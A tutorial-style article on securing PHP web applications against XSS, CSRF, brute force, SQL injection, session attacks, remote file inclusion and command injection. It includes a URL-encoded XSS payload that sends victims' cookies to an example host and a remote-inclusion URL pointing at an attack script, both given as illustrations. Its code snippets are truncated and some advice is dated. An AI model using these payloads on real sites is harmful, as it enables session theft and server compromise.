PHP is the one of the popular open source programming language in the web technology. Even though it is popular web technology there are many chance to security loopholes which attackers can hack the information. This articles explains how to secure your application from the major security vulnerabilities. The following are the some of the major security vulnerabilities :
- Web Security
- Brute Force Attack
- Cross Site Scripting
- Cross Site Request Forgeries [CSRF]
- Database Security
- Session Security
- File System Security
- Command Injection
Website security refers to the security of the elements of a website through which an attacker can interface with your application. These can be originated from foreign sources like user input form, query string or feeds which can’t be trusted and are the most likely candidates for a potential attack. So it is important to understand how to protect these tained input. Proper input filtering and output escaping will mitigate most of these risks.
Following are the major areas for tainted inputs.
- Spoofed Forms
Usually developers are putting client side validations for usability. But these forms can be submitted from a different location other than your website. In this case attacker will remove all client side validation and will input any kind of data rather than standard input expected.
- Query String in the URL
This can be like modifying values in query string and trying to get some other information.
- Feeds which provided by third party
Feeds can contain anything which provided by third party.
Treat Tainted Input
Filtering input protects your application from bad or harmful data. There are two approaches to filtering data: the whitelist approach and the blacklist approach.
- Blacklist Filtering
Less restrictive approach.It assumes the programmer knows everything that should not be allowed to pass through. Blacklists must be continually modified and expanded as new attack vectors become apparent
Ex: Specific set of words which are not allowed to used in forum or your site. Thus it is necessary to add new words from time to time.
- Whitelist Filtering
More Restrictive compared to blacklist.It accept only expected results.Instead of identifying unacceptable data it identify acceptable data. Any input which can’t be accepted will be rejected.
Ex: List of values from dropdown. Filter it with an array saved and allowed only values from array.
It’s a kind of whitelist filtering. Client side validations are important for usability. Server side validations are important for Security..
- Comparison against known good values [ Input compare from array]
- Confirmation of content [ Using fun ctype_alpha() and ctype_digit()]
Best Practise :
Check form has been submitted from same domain using HTTP REFERRER.
Do not rely on client side validation, perform all validations in server side as well.
Escaping protects you and your users from potentially harmful attacks.
- Database Escape _strings
Url : http://www.mydomain.com/test.php?query=%3Cimg%20src=%27%27%20id=%27myimg%27%20name=%27myimg%27%20/%3E%3Cscript%3Edocument[%27myimg%27].src=%20%27http://example.org/getcookies.php?cookies=%27%20+%20document.cookie;%3C/script%3E
Filtering is performing both validation and sanitization of the input.Validation confirms that the input is what we expect, while sanitization will clean a string by either escaping or removing offending parts. This is one of the nice built in feature of PHP.
The filter extension provides two primary functions.
Filter_input(InPutType , VariableName , FilterToApply , FilterOptions )
You can filter multiple values by passing array through filter_input_array() and filter_var_array().
$username = filter_input(
['regexp' => '/^[a-z]$/i']
$clean = filter_input_array(
'email' => FILTER_VALIDATE_EMAIL,
'blog' => FILTER_VALIDATE_URL,
'age' => [
'filter' => FILTER_VALIDATE_INT,
'options' => ['min_range' => 18]
Brute Force Attack
A brute-force attack is an attempt to discover a password by systematically trying every possible combination of letters, numbers, and symbols until you discover the one correct combination that works. If your web site requires user authentication, you are a good target for a brute-force attack.
The simplest way to prevent brute-force attacks is to simply lock out accounts for a specific time , after a defined number of incorrect password attempts.
Problem with Lockout
- Can cause a DoS[ Denial of Service] By Locking huge number of accounts.
- We can’t not lock when attacker use invalid username.
- Attacker can lock same account again and again.
- In efficient in small attack, trying few combination in every hour.
A completely automated public Turing test to tell computers and humans apart, or CAPTCHA, is a program that allows you to distinguish between humans and computers.
Denial of Service
The Denial of Service (DoS) attack is focused on making a resource (site, application, server) unavailable for the purpose it was designed. There are many ways to make a service unavailable for legitimate users by manipulating network packets, programming, logical, or resources handling vulnerabilities, among others. If a service receives a very large number of requests, it may cease to be available to legitimate users.
- Install Advanced Policy based Firewall[APF].
- Install (D)Dos Deflate
- Install Monitoring tools
Cross Site Scripting(XSS)
Cross-site scripting (XSS) is one of the most common and best known kinds of attacks. These attacks are a type of injection, in which malicious scripts are injected into trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code by client side script, to a different endpoints [URL].
As discussed on the first escape output is the best solutions to prevent XSS. OWASP has described XSS primary defence mechanism in OWASP XSS Prevention Cheat Sheet.
- Never input untrusted data in except in allowed locations.
- Use escape before Inserting untrusted data into HTML element content.
- Use HTTPOnly cookie flag and Secure Options.
- Use an Auto-Escaping Template System.
- Use the X-XSS-Protection Response Header.
Cross Site Request Forgeries [CSRF]
Is an attack which end user is executing some unwanted actions on an web application which they are already authenticated. End user might be unaware about the actions happening. It is basically target state changing request not stealing any information. CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, make some purchase order, This can be happens by clicking an email link or clicking some web links in another web page or similar other ways.
It is advisable to add CSRF tokens,that dynamically binds to each forms. Since this token is dynamic no one can reuse it. The OWASP PHP CSRFGuard is a code snippet that shows how to mitigate CSRF.
Use re-authentication for critical operations (change password, recovery email, etc.)
Two popular forms of session attacks are session fixation and session hijacking.
Bind Ip Address
It is good practice to bind sessions to IP addresses, Invalidate a session when find access from different IP address.
- Always use cookie-based sessions.
- Disables session.use_trans_sid, that instructs PHP to append the session identifier to the URLs of your application, doing so exposes the session identifier.
When using a database and accepting input to create part of a database query, it is easy to fall victim to an SQL injection attack.
- Use Prepared statement when there is user input as filter parameter for the query.
- ORMs (Object Relational Mappers) are good security practice.
- Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.
File System Security
- Remote Code Injection
Including a remote file which executed in server. Some scripts which include files based on query parameter. Ex :http://localhost.com/category=news
http://localhost.com/?category=http://attack.site.com/attack.php it will include remote file and it will execute data based on file content from attack.php
- Filter all input,Never use tainted data in include and require statement
- Disable Allow_url_fopen: -Access URLs, treating them like regular files
- Defined predefined expected input.
- Indirect Object Reference
Without an access control check or other protection, attackers can manipulate these references to access unauthorized data. Ex: by changing id in URL , or directly accessing a particular URL.
- Verify user is authorized to view it.
- User per User session, instead of direct database object ID in URL.
Similar to file include allow user input to execute the system commands like system , exec ,passthru() or ` (backtick )etc.
- escapeshellcmd() and escapeshellarg()